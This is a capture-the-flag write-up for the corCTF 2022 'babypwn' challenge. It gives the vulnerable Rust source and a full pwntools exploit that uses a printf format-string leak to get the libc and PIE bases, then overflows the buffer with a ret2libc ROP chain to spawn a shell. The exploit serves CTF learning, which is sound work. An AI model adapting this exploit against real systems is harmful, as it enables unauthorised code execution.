**TL;DR** I don't have a full writeup for this because I solved it after the fact, but I just wanted to put something here since it seems like no one's shared a solution here, and the ones that are out on the web use the pwntools ROP object, which is cool but doesn't really explain the process.
Source:```rustuse libc;use libc_stdhandle;
fn main() {    unsafe {        libc::setvbuf(libc_stdhandle::stdout(), &mut 0, libc::_IONBF, 0);
        libc::printf("Hello, world!\n\0".as_ptr() as *const libc::c_char);        libc::printf("What is your name?\n\0".as_ptr() as *const libc::c_char);
        let text = [0 as libc::c_char; 64].as_mut_ptr();        libc::fgets(text, 64, libc_stdhandle::stdin());        libc::printf("Hi, \0".as_ptr() as *const libc::c_char);        libc::printf(text);
        libc::printf("What's your favorite :msfrog: emote?\n\0".as_ptr() as *const libc::c_char);        libc::fgets(text, 128, libc_stdhandle::stdin());         libc::printf(format!("{}\n\0", r#"          .......           ...----.        .-+++++++&&&+++--.--++++&&&&&&++.       +++++++++++++&&&&&&&&&&&&&&++-+++&+      +---+&&&&&&&@&+&&&&&&&&&&&++-+&&&+&+-     -+-+&&+-..--.-&++&&&&&&&&&++-+&&-. ....    -+--+&+       .&&+&&&&&&&&&+--+&+... ..   -++-.+&&&+----+&&-+&&&&&&&&&+--+&&&&&&+. .+++++---+&&&&&&&+-+&&&&&&&&&&&+---++++--.++++++++---------+&&&&&&&&&&&&@&&++--+++&+-+++&&&&&&&++++&&&&&&&&+++&&&+-+&&&&&&&&&&+-.++&&++&&&&&&&&&&&&&&&&&++&&&&++&&&&&&&&+++- -++&+&+++++&&&&&&&&&&&&&&&&&&&&&&&&+++++&&  -+&&&@&&&++++++++++&&&&&&&&&&&++++++&@@&   -+&&&@@@@@&&&+++++++++++++++++&&&@@@@+    .+&&&@@@@@@@@@@@&&&&&&&@@@@@@@@@@@&-      .+&&@@@@@@@@@@@@@@@@@@@@@@@@@@@+        .+&&&@@@@@@@@@@@@@@@@@@@@@&+.          .-&&&&@@@@@@@@@@@@@@@&&-             .-+&&&&&&&&&&&&&+-.                 ..--++++--."#).as_ptr() as *const libc::c_char);    }}```
The fact that the binary is in Rust might be intimidating at first, until you realize that there's not much that's "rust-specific" to exploit. There's a very obvious printf vulnerability, and the call to fgets tries to shove 128 bytes of data into a buffer of 64 bytes. Doing the regular binex stuff shows us that the offset is 96, and from there we use the printf leak to leak both the libc base and the piebase by doing math on both. I'm pretty sure you could calculate both off of one address, but I did cheat a little after looking at [Strellic's Writeup](https://brycec.me/posts/corctf_2022_challenges#babypwn) because something with how the binary is compiled just does not work on Kali, and I was too lazy to redo everything from my other VM. 
Final Exploit:```python#!/usr/bin/python3# @author: CryptoCat (https://github.com/Crypto-Cat/CTF/tree/main/pwn)# Modified by An00bRektnfrom pwn import *
# Allows you to switch between local/GDB/remote from terminaldef start(argv=[], *a, **kw):    if args.GDB:  # Set GDBscript below        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)    elif args.REMOTE:  # ('server', 'port')        return remote(sys.argv[1], sys.argv[2], *a, **kw)    else:  # Run locally        return process([exe] + argv, *a, **kw)
# Find offset to EIP/RIP for buffer overflowsdef find_ip(payload):    # Launch process and send payload    p = process(exe, level='warn')    p.sendlineafter(b'>', payload)    # Wait for the process to crash    p.wait()    # Print out the address of EIP/RIP at the time of crashing    # ip_offset = cyclic_find(p.corefile.pc)  # x86    ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))  # x64    warn('located EIP/RIP offset at {a}'.format(a=ip_offset))    return ip_offset
# Specify GDB script here (breakpoints etc)gdbscript = '''continue'''.format(**locals())
# Binary filenameexe = './babypwn'# This will automatically get context arch, bits, os etcelf = context.binary = ELF(exe, checksec=False)# Change logging level to help with debugging (error/warning/info/debug)context.log_level = 'debug'
# ===========================================================#                    EXPLOIT GOES HERE# ===========================================================
"""    Thoughts:    I did not solve this challenge during the event because I was too stupid    to realize that the printf vulnerability could have been used to leak out    both the PIE base and the libc address. The fact that this is in Rust really    doesn't matter because we're given the source code, and it's just a regular ret2libc.
    This is just a reminder that when doing pwn, or any challenge really, we should be thinking about what's actually    happening as opposed to copying and pasting a formula."""
# Lib-C library, can use pwninit/patchelf to patch binarylibc = ELF("./libc.so.6")# ld = ELF("./ld-2.27.so")
# Pass in pattern_size, get back EIP/RIP offsetoffset = 96
# Start programio = start()
io.sendlineafter(b'?', b'%2$p.%30$p')io.recvuntil(b'Hi, ')
libc_leak, pie_leak = [int(x, 16) for x in io.recvlineS().split('.')]
elf.address = pie_leak - 0x464f8libc.address = libc_leak + 0x1440    # use gdbinfo("piebase: %#x", elf.address)info("libc   : %#x", libc.address)
bin_sh = 0x1b45bd + libc.addresssystem = 0x52290 + libc.address
pop_rdi = 0x51d1 + elf.addressret = 0x501a + elf.address
# Build the payloadpayload = flat({    offset: [        ret,        pop_rdi,        bin_sh,        system    ]})
# Send the payloadio.sendlineafter(b'emote?', payload)io.recvuntil(b'..--++++--.')
# Got Shell?io.interactive()```